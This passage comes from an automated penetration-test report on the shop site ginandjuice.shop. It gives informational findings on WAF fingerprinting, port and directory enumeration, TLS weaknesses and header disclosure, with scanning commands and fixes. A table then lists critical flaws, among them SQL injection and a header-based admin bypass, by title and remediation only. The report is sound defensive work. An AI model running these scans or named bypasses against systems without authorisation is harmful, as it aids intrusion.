What it is: wafw00f, httpx, and Nikto identified the front edge as AWS Elastic Load Balancer (awselb/2.0). Why it matters: Informational fingerprint of the perimeter posture. The confirmed injection findings on this target already demonstrate that the ALB does not include a managed WAF ruleset. What is at risk: Only reconnaissance value.

Proof of Exploit

```
wafw00f (current run):  
[+] The site https://ginandjuice.shop is behind AWS Elastic Load Balancer (Amazon) WAF.  
  
Nikto (current run): Server: awselb/2.0.  
  
httpx (current run): https://ginandjuice.shop [200] [Home - Gin & Juice Shop] [34.246.169.176] [Amazon ALB, Amazon Web Services].
```

Steps to Reproduce

```
1. wafw00f https://ginandjuice.shop  
Expected: 'The site is behind AWS Elastic Load Balancer (Amazon) WAF.'  
2. curl -sI https://ginandjuice.shop/ | grep -i "server"  
Expected: Server: awselb/2.0.
```

Remediation
Informational only - no fix required. Consider attaching AWS WAF managed rule groups (Core, KnownBadInputs, SQLi, XSS) to the ALB to add signature-based protection in front of the injection surfaces confirmed in this report.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/-00000000-0000-0000-0000-000000000000

Verification Evidence
Re-analysis verdict: Still present (oracle re-analysis)

Status: Independently verified

INFO Intel Gathering **CONFIRMED**

Attack Surface Enumeration - Endpoints, Ports, Technologies, and WAF

Source: Paladin AI | Type: Informational - Attack Surface | CVSS: 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) | CWE-200
| A02:2025 - Security Misconfiguration
Affected URL: https://ginandjuice.shop
OWASP WSTG: WSTG-INFO-04 - Enumerate Applications on Webserver
MITRE ATT&CK: T1595, T1590

Why this severity
Info per historical precedent for attack-surface enumeration.

References

- https://cwe.mitre.org/data/definitions/200.html
- https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/

Description

What it is: Consolidated inventory of externally reachable services and technologies discovered during this assessment. Why it matters: Provides a baseline for change monitoring so unexpected additions to the attack surface can be alerted on. What is at risk: Only reconnaissance value.

Proof of Exploit

```
naabu (current run): 80/tcp open, 443/tcp open on ginandjuice.shop.

httpx (current run): https://ginandjuice.shop [200] [Home - Gin & Juice Shop] [34.246.169.176] [Amazon ALB, Amazon Web Services].

testssl.sh (current run): TLS cert CN=ginandjuice.shop, SAN [ginandjuice.shop, *.ginandjuice.shop], issuer Amazon RSA 2048 M04. Additional IPs: 34.249.203.140, 34.246.169.176.

wafw00f (current run): AWS Elastic Load Balancer (Amazon).

subfinder (current run): 0 subdomains discovered.

ffuf (current run) discovered paths: /admin (403), /login (200), /logout (200), /blog (200), /catalog (200), /about (200), /my-account (200), /subscribe (405), /analytics (200 - 0 bytes).
```

Steps to Reproduce

- 1. naabu -host ginandjuice.shop -p 1-1000
Expected: 80 and 443 open.
- 2. httpx -u https://ginandjuice.shop -title -tech-detect
Expected: Amazon ALB, Amazon Web Services.
- 3. ffuf -w /path/to/wordlist -u https://ginandjuice.shop/FUZZ -mc 200,301,302,307,401,403,405,500
Expected: /admin, /login, /logout, /blog, /catalog, /about, /my-account.

Remediation

No fix required. Use this baseline for change monitoring; alert on new open ports, new subdomains, or unexpected changes to certificate SANs.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

Verification Evidence

Re-analysis verdict: Still present (oracle re-analysis)
Status: Independently verified

INFO

Vuln Analysis

CONFIRMED

TLS/SSL Configuration Weaknesses - No TLS 1.3, CBC Ciphers (LUCKY13), RSA+SHA1, No OCSP Stapling, No CAA

Source: TLS Analyzer | Type: TLS/SSL Configuration Weaknesses | CVSS: 0.0 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N) | CWE-326 | A04:2025 - Cryptographic Failures
CVE: CVE-2013-0169
Affected URL: https://ginandjuice.shop
OWASP WSTG: WSTG-CRYP-01 - Testing for Weak Transport Layer Security
MITRE ATT&CK: T1040

Why this severity

Info per historical precedent for TLS weaknesses. LUCKY13 is a theoretical timing side-channel requiring specific conditions to exploit.

References

- <https://cwe.mitre.org/data/definitions/326.html>
- https://wiki.mozilla.org/Security/Server_Side_TLS
- <https://www.rfc-editor.org/rfc/rfc8659>
- <https://nvd.nist.gov/vuln/detail/CVE-2013-0169>

Description

What it is: The TLS front-end offers only TLS 1.2 with obsolete CBC-mode ciphers, advertises RSA+SHA1 in negotiable signature algorithms, does not staple OCSP, and the domain has no CAA record. Why it matters: Absence of TLS 1.3 removes modern protocol strength; CBC ciphers expose to LUCKY13; RSA+SHA1 widens attack surface; missing OCSP stapling degrades revocation checking; no CAA permits any CA to issue certificates. What is at risk: TLS strength margin, revocation robustness, and certificate-issuance controls.

Proof of Exploit

```
testssl.sh (current run) against ginandjuice.shop:443:
TLS 1.2: offered (OK)
TLS 1.3: not offered and downgraded to a weaker protocol
Obsoleted CBC ciphers (AES, ARIA etc.): offered
TLS 1.2 cipher order includes CBC:
  ECDHE-RSA-AES128-SHA256
  ECDHE-RSA-AES256-SHA384
  AES128-SHA256
  AES256-SHA256
TLS 1.2 sig_algs offered: RSA+SHA256 RSA+SHA384 RSA+SHA512 RSA+SHA224 RSA+SHA1
LUCKY13 (CVE-2013-0169): potentially VULNERABLE, uses obsolete CBC ciphers with TLS
OCSP stapling: not offered
DNS CAA RR: not offered
```

Steps to Reproduce

```
1. testssl.sh --protocols --ciphers --vulnerable ginandjuice.shop:443
   Expected (vulnerable): TLS 1.3 not offered; CBC ciphers offered; LUCKY13 potentially VULNERABLE.
2. openssl s_client -connect ginandjuice.shop:443 -status -servername ginandjuice.shop </dev/null 2>&1 |
   grep -i "ocsp"
   Expected (vulnerable): 'OCSP response: no response sent'.
3. dig CAA ginandjuice.shop
   Expected (vulnerable): NOERROR with no CAA records.
4. Fixed result: TLS 1.3 offered, only AEAD ciphers, OCSP response present, CAA record published.
```

Remediation

1. On the AWS ALB listener switch to security policy ELBSecurityPolicy-TLS13-1-2-2021-06 (or newer) to enable TLS 1.3 and restrict to modern AEAD ciphers. 2. Prefer ELBSecurityPolicy-FS-1-2-Res-2020-10 or TLS13-1-3-2022-06 to eliminate CBC ciphers. 3. Enable OCSP stapling by fronting the ALB with CloudFront, or terminating TLS at an nginx reverse proxy with 'ssl_stapling on;'. 4. Publish CAA DNS records: ginandjuice.shop. CAA 0 issue "amazon.com" and 0 issuewild "amazon.com". 5. Enable HSTS (see Missing Security Headers finding).

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

Verification Evidence

Re-analysis verdict: Still present (oracle re-analysis)

Status: Independently verified

INFO

Intel Gathering

CONFIRMED

Infrastructure and Proxy Disclosure via HTTP Response Headers

Source: Server Audit | Type: Information Disclosure | CVSS: 0.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N) | CWE-200 | A02:2025 - Security Misconfiguration

Affected URL: <https://ginandjuice.shop/>

OWASP WSTG: WSTG-INFO-02 - Fingerprint Web Server

MITRE ATT&CK: T1592.004

Why this severity

Info per historical precedent for infrastructure disclosure.

References

• <https://cwe.mitre.org/data/definitions/200.html>

Description

What it is: Response headers reveal the AWS ELB/ALB tier (Server: awselb/2.0), AWSALB/AWSALBCORS session-affinity cookies, and the underlying EC2 hostname via reverse DNS. Why it matters: Attackers gain infrastructure intelligence useful for targeting AWS-specific behaviour. What is at risk: Only reconnaissance value.

Proof of Exploit

```
Nikto (current run): Server: awselb/2.0.

testssl.sh (current run): rDNS (34.246.169.176): ec2-34-246-169-176.eu-west-1.compute.amazonaws.com.

Sample cookies observed:
AWSALB=QNR+qabn1AMvRPoT03YPJLzqSymDm8xHfs3W30AogbRScZm0gGbK0yhMcJ8KJt5PRGVuppmfZ4fDRsTH7Sph-
hB/01IZn0z8tRVheJnANpj6CA0C/V1hQRXKmkdBn; Path=/
AWSALBCORS=...; SameSite=None; Secure
```

Steps to Reproduce

1. `curl -sI https://ginandjuice.shop/ | grep -iE "server|set-cookie"`
Expected (vulnerable): Server: awselb/2.0 and AWSALB/AWSALBCORS cookies present.
2. `dig -x 34.246.169.176`
Expected (vulnerable): `ec2-*.compute.amazonaws.com` reverse DNS.
3. Fixed result: Server header suppressed/overridden; AWS ALB stickiness cookies renamed.

Remediation

1. Front the ALB with CloudFront and use a response-headers policy to strip or rewrite Server/AWSALB* origin markers. 2. Rename the ALB stickiness cookies via target-group configuration. 3. Suppress or override the Server header at the application layer.

A copy-paste remediation prompt for AI coding assistants (Claude Code, Copilot, etc.) is available on the web report at turbopentest.com/pentests/00000000-0000-0000-0000-000000000000

Verification Evidence

Re-analysis verdict: Still present (oracle re-analysis)

Status: Independently verified

Remediation & Retest Plan

Every finding in priority order, with the fix and how to confirm it landed. Work top to bottom; re-run this pentest when done and the continuity system will mark each item fixed.

#	Severity	Finding & fix	Where	Verify
1	CRITICAL	Unauthenticated Credential and Vulnerability Roadmap Disclosure at /vulnerabilities 1. Remove or password-protect the /vulnerabilities endpoint entirely; it must not be accessible in production. 2. Never embed plaintext credentials in any se...	https://ginandjuice.shop/vulnerabilities	Re-run check
2	CRITICAL	Admin Panel Access Control Bypass via X-Original-URL Header 1. Strip or reject X-Original-URL, X-Rewrite-URL, and X-Forwarded-URL headers at the load balancer/WAF layer before they reach the application. 2. Move acces...	https://ginandjuice.shop/admin	Re-run check
3	CRITICAL	UNION-Based SQL Injection in /catalog category Parameter 1. Replace all dynamic SQL string concatenation with parameterised queries / prepared statements. 2. Apply a strict allowlist to the category parameter serve...	https://ginandjuice.shop/catalog	Re-run check
4	HIGH	Plaintext Credentials Disclosed in Two-Stage Login HTML Response 1. Remove all credential hints from login page HTML templates. 2. Remove inline JavaScript that echoes the submitted username back into the page. 3. Ensure t...	https://ginandjuice.shop/login	Re-run check
5	HIGH	DOM-Based XSS via Prototype Pollution (deparam.js + searchLogger.js) on /blog 1. Patch deparam.js to reject keys equal to __proto__, constructor, or prototype before assigning parsed values. 2. In searchLogger.js validate config.transp...	https://ginandjuice.shop/blog	Re-run check
6	HIGH	Reflected XSS via JavaScript String Injection in searchTerm Parameter 1. Escape BOTH \ -> \\ AND ' -> \' when reflecting user input into JavaScript string literals. 2. Prefer JSON-encoding user values for JS reflection. 3. Depl...	https://ginandjuice.shop/catalog	Re-run check
7	HIGH	AngularJS Client-Side Template Injection (CSTI) via category Parameter 1. Encode all user-supplied values before placing them inside AngularJS template contexts (encode {{ and }}). 2. Migrate away from AngularJS 1.x (EOL). 3. Ap...	https://ginandjuice.shop/catalog	Re-run check
8	HIGH	HTTP Response Header Injection (CRLF) via category Parameter 1. Strip or reject CR (0x0D) and LF (0x0A) characters from any user-supplied value before placing it in an HTTP response header. 2. Use framework built-in he...	https://ginandjuice.shop/catalog	Re-run check
9	HIGH	XML External Entity (XXE) Injection in /catalog/product/stock 1. Disable external entity processing in the XML parser (e.g. Java setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); Python lxml no_n...	https://ginandjuice.shop/catalog/product/stock	Re-run check

10	MEDIUM	CSRF on Add-to-Cart Endpoint with Same-Site=None Session Cookie 1. Add a CSRF token to the add-to-cart form and validate it server-side on POST /catalog/cart. 2. Change the session cookie SameSite attribute from None to L...	https://ginandjuice.shop/catalog/cart	Re-run check
11	MEDIUM	Missing Rate Limiting on Authentication Endpoint 1. Implement server-side rate limiting: no more than 5-10 failed login attempts per account per 15-minute window before temporary lockout. 2. Add IP-based ra...	https://ginandjuice.shop/login	Re-run check
12	MEDIUM	Missing Email Authentication Records - No SPF, DKIM, or DMARC 1. Publish an SPF record: TXT at ginandjuice.shop "v=spf1 -all" (if no legitimate email is sent) or list authorised senders. 2. Publish a DMARC policy: TXT a...	https://ginandjuice.shop	Re-run check
13	MEDIUM	DOM-Based Open Redirect via back Parameter in /blog/post 1. Validate the back parameter server-side and client-side against an allowlist of permitted on-site paths (e.g. only allow values matching /^\[a-z0-9\]+...	https://ginandjuice.shop/blog/post	Re-run check
14	LOW	Insecure Session and Load-Balancer Cookies - Missing HttpOnly, Secure, and Same-Site Attributes 1. Configure the AWS ALB target-group stickiness cookie to be emitted with Secure and HttpOnly attributes via the target-group cookie-configuration setting. ...	https://ginandjuice.shop/	Verified
15	INFO	Missing HTTP Security Headers Across All Endpoints Configure the reverse proxy (AWS ALB response-headers policy, CloudFront function, or origin nginx) to emit on every response: Strict-Transport-Security: m...	https://ginandjuice.shop/	Verified
16	INFO	Web Application Firewall Detected - AWS Elastic Load Balancer Informational only - no fix required. Consider attaching AWS WAF managed rule groups (Core, KnownBadInputs, SQLi, XSS) to the ALB to add signature-based prot...	https://ginandjuice.shop	Verified
17	INFO	Attack Surface Enumeration - Endpoints, Ports, Technologies, and WAF No fix required. Use this baseline for change monitoring; alert on new open ports, new subdomains, or unexpected changes to certificate SANs.	https://ginandjuice.shop	Verified
18	INFO	TLS/SSL Configuration Weaknesses - No TLS 1.3, CBC Ciphers (LUCKY13), RSA+SHA1, No OCSP Stapling, No CAA 1. On the AWS ALB listener switch to security policy ELBSecurityPolicy-TLS13-1-2-2021-06 (or newer) to enable TLS 1.3 and restrict to modern AEAD ciphers. 2....	https://ginandjuice.shop	Verified
19	INFO	Infrastructure and Proxy Disclosure via HTTP Response Headers 1. Front the ALB with CloudFront and use a response-headers policy to strip or rewrite Server/AWSALB* origin markers. 2. Rename the ALB stickiness cookies vi...	https://ginandjuice.shop/	Verified

Tool Appendix

The following security tools were used during this assessment:

Port Scanner

Fast port discovery and open-port enumeration across the target's attack surface.

Duration: 4 minutes

Server Audit

Web server misconfiguration and dangerous-file detection.

Duration: 41 minutes

Web Scanner

Comprehensive active and passive web application vulnerability testing.

Duration: 41 minutes

Vuln Scanner

Template-based detection of known CVEs and service-level vulnerabilities.

Duration: 5 minutes

Security Checks

Custom SSL/TLS, security-header, DNS, session and network security checks.

Duration: 2 minutes

TLS Analyzer

TLS certificate, cipher-suite and protocol-vulnerability analysis.

Duration: 4 minutes

Sub Hunter

Passive subdomain discovery from multiple OSINT sources.

Duration: 1 minutes

Web Probe

HTTP probing, technology fingerprinting and response enumeration.

Duration: 1 minutes

Enumerator

Directory and file brute-forcing to surface hidden endpoints and admin panels.

Duration: 4 minutes

WAF Detect

Web Application Firewall detection and fingerprinting.

Duration: 1 minutes

Net Scanner

Full network vulnerability assessment across services and known CVEs.

Duration: 138 minutes

Paladin AI

Autonomous agentic penetration testing, exploit validation and report synthesis.

Duration: 47 minutes

Need Deeper Testing?

This automated assessment covers common vulnerability classes. For deeper coverage of business logic flaws, chained exploits, and advanced attack paths, IntegSec's Managed Agentic Pentesting provides a continuous, expert-managed engagement.

integsec.com/managed-agentic-pentesting